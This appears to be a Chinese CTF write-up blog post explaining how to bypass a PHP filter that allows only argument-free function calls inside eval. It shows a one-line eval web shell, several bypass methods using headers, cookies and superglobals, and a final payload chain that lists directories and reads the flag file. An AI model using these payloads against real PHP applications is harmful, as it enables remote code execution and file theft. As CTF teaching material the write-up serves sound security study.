3rsh1
/single dog/college student/ctfer
3rsh1's Blog

无参数函数getshell——记一次buuctf题目

基础

什么是无函数参数getshell呢,我们先来看一下这样的一句话:

eval($_POST['hack']);

其实通过这句话我们就可以getshell,给hack字段post值的话,就会执行传递过去的命令。
接下来我们看一下这个函数:

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', _GET['code'])) {       eval(_GET['code']);
}

\w代表所有的字母和数字,而?R表示正则表达式本身,即匹配的过程中存在着迭代的过程。比如说:

a(b(c()));  //这是允许的
a('aaa');   //这是不允许的

这样的话,我们的函数内就不能有参数那么我们该怎么绕过呢。一般情况下我们利用超全局变量进行bypass。
什么是全局变量呢,超全局变量 — 超全局变量是在全部作用域中始终可用的内置变量。

$GLOBALS
$_SERVER
$_GET
$_POST
$_FILES
$_COOKIE
$_SESSION
$_REQUEST
$_ENV

localeconv() 函数返回一包含本地数字及货币格式信息的数组。

array(18) {
  ["decimal_point"]=>
  string(1) "."
  ["thousands_sep"]=>
  string(0) ""
  ["int_curr_symbol"]=>
  string(0) ""
  ["currency_symbol"]=>
  string(0) ""
  ["mon_decimal_point"]=>
  string(0) ""
  ["mon_thousands_sep"]=>
  string(0) ""
  ["positive_sign"]=>
  string(0) ""
  ["negative_sign"]=>
  string(0) ""
  ....

方法1:getenv()

getenv ( string varname [, boollocal_only = FALSE ] ) : string
getenv ( void ) : array

怎么说呢,感觉这是个奇奇怪怪的函数。
函数的作用是获取全局变量的值。
第一个参数是变量的名字,第二个变量设置为 true 以仅返回本地环境变量(由操作系统或 putenv() 设置)。返回值是环境变量的值。
第二个函数是返回当前的环境变量,以数组形式。
但是我们得到的仅是包含全局变量的数组,我们该怎么利用特定数组中的值呢。

array_rand ( array array [, intnum = 1 ] ) : mixed

从数组中取出一个或多个随机的单元,并返回随机条目的一个或多个键。 它使用了伪随机数产生算法,所以不适合密码学场景。

$arr=array('a','b','c');
echo array_rand($arr);//0,1,2

第一个参数是指定的数组,第二个参数是返回的键的个数,默认为1。
这样的话,我们已经可以定位到数组的键了,但是我们需要的是数组的值,那么就需要这个函数。

array_flip ( array $array ) : array

这个函数的作用是交换数组的键和值。('a':'1')交换之后变成('1':'a'),注意 array 中的值需要能够作为合法的键名(例如需要是 integer 或者 string)。如果类型不对,将出现一个警告,并且有问题的键/值对将不会出现在结果里。
如果同一个值出现多次,则最后一个键名将作为它的值,其它键会被丢弃。

$arr=array('a','b','c');
var_dump(array_flip($arr));
/*
array(3) {
  ["a"]=>
  int(0)
  ["b"]=>
  int(1)
  ["c"]=>
  int(2)
}
*/

这样的话,我们就可以读取到数组内的值了。结合之后如下:

$arr=array('a','b','c');
var_dump(array_rand(array_flip($arr)));//string(1) "b" string(1) "a"

如果通过在报文内对cookie的值做一定更改的话,getenv()函数就可以读取到cookie的值,可getshell。

方法2:getallheaders()

getallheaders ( void ) : array

获取当前请求的所有请求头信息。 apache_request_headers() 的别名,此函数仅适用于 Apache 。

array(8) { 
    ["Host"]=> string(14) "106.14.114.127" 
    ["Connection"]=> string(10) "keep-alive" 
    ["Cache-Control"]=> string(9) "max-age=0" 
    ["Upgrade-Insecure-Requests"]=> string(1) "1" 
    ["User-Agent"]=> string(120) "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" 
    ["Accept"]=> string(118) "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"
     ["Accept-Encoding"]=> string(13) "gzip, deflate" ["Accept-Language"]=> string(14) "zh-CN,zh;q=0.9" 
}

如果我们做这样的操作的话:

https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_b6936087b8dc869fd2e816615ebb5f5f.jpg

即在报文头部增加自己自定义的参数和值。用函数获取头部如下:
https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_cbeaf79eaa94d25ff58feb372a7e371c.jpg

我们可以看出,新定义的头部被读取到了。构造payload:

var_dump(current(getallheaders()));

https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_b7699846f99ef0d6adef90ad827b5ead.jpg

https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_ffd0694c0c07bb955f396bc1154c82fe.jpg

https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_d4315c1a48056cabfeb8bddf5324116b.jpg

可以轻松构建payload来getshell。

方法3:get_defined_vars()

因为使用,getallheaders()会有局限性,所以采用这个函数。

get_defined_vars ( void ) : array

此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_000fe47ea97af79bdf6bd6ab43b08102.jpg

发现返回的数组中也有get等超全局变量。
https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_fcfcddd3002460a98f8ad1891ae2194d.jpg

https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_8dcb1c334dff99d948411bf255dcb23f.jpg

getshell成功!但是普通网站都会对一些敏感参数做一些过滤。因此现在来尝试以下$_FILE
https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_710ee940bb6614acb0d38516fa774a59.jpg

因为空格会被替换为_所以用hex编码。
这里有个问题奇奇怪怪:
在服务端已经有:

@eval($_GET['a']);

但是还是需要在脚本里添加eval()函数来执行的,而且执行system()以及scandir()等返回值为数组的函数时会报错。这个问题先放一下,上几个方法貌似都存在这个问题,问题很大。
解决了,当你通过get传值进去的时候,eval()函数接收到的是字符串形式的。即:

eval("end(getallheaders());");  //不输出值

这个样子的,这样的话,会把引号内的字符串当做php代码执行。就和在shell执行一样,该返回值的会返回值,不返回值的也不会返回值。

eval("echo end(getallheaders());"); //输出值

但是如果,是下面这种形式的,即eval()的”参数”不是字符串:

$a=array("echo 123;")
eval(end($a));

则会先获取在eval()内的函数的返回值,然后再执行函数返回值。

$a=array("echo 123;","echo 123");
eval(prev($a)); //123
eval(end($a));  //报错

因为eval()内的参数需要以;结尾,如果不是以分号结尾的会出现下列错误:

https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_704533b45ef2f3009a8a3a0084128bf7.jpg

方法4 session_id()

除了从 FILE 下手,这里还可以从COOKIE下手。

https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_437ad3fdc4d9b1845f12510b4f2b5adf.jpg

此函数可以获取PHPSESSID的值,而PHPSESSID的值允许数字和字母存在,因此可以考虑用hex编码payload,将其放在PHPSESSID字段。
https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_e3355eb069ebb8cb40c925300cb55b49.jpg

还是存在问题,让人头秃!

方法5 dirname()&getcwd()

如果要获取flag,其实只要我们能遍历文件就可以了。

getcwd()    //获取当前路径
scandir()   //读取当前路径下的文件列表。
dirname ( string $path ) : string

返回一个包含path的绝对路径。比如说你所在的当前路径为/var/www/,则会返回www文件夹所在的文件夹的路径即/var/,其实简单来说就是向上跳一个目录。

chdir ( string $directory ) : bool

更换当前目录至directory目录。
再加上readfile()函数即可读取文件。
这里有点小问题,先来看下面的这个payload:

scandir(dirname(chdir(dirname(getcwd()))))

这里的dirname()函数起到的作用是,返回路径名,并且向上跳一个路径。而因为getcwd()无函数参数,故再向外的话就不能使用这个函数,只能使用dirname()这个函数来得到路径。所以,dirname()起到的作用就变成了:跳路径+获取路径名。难免会有点问题。
参考链接:

https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/

数组操作

end() - 将数组的内部指针指向最后一个单元
key() - 从关联数组中取得键名
each() - 返回数组中当前的键/值对并将数组指针向前移动一步
prev() - 将数组的内部指针倒回一位
reset() - 将数组的内部指针指向第一个单元
next() - 将数组中的内部指针向前移动一位
current() — 返回数组中的当前单元

wp

payload:

?exp=var_dump(  
    readfile(   //读取文件
        array_rand( //随机返回数组的键
            array_flip( //数组键值呼唤
                scandir(    //读取文件目录并返回数组
                    current(    //get到数组的第一个元素
                        localeconv( //其中有 . ,即为第一个元素
                            )))))));

参考链接:

https://www.cnblogs.com/wangtanzhi/p/12260986.html
没有标签
首页      web安全      无参数函数getshell——记一次buuctf题目

发表评论

textsms
account_circle
email

3rsh1's Blog

无参数函数getshell——记一次buuctf题目
基础 什么是无函数参数getshell呢,我们先来看一下这样的一句话: eval($_POST['hack']); 其实通过这句话我们就可以getshell,给hack字段post值的话,就会执行传递过去的命令。 接下…
扫描二维码继续阅读
2020-04-30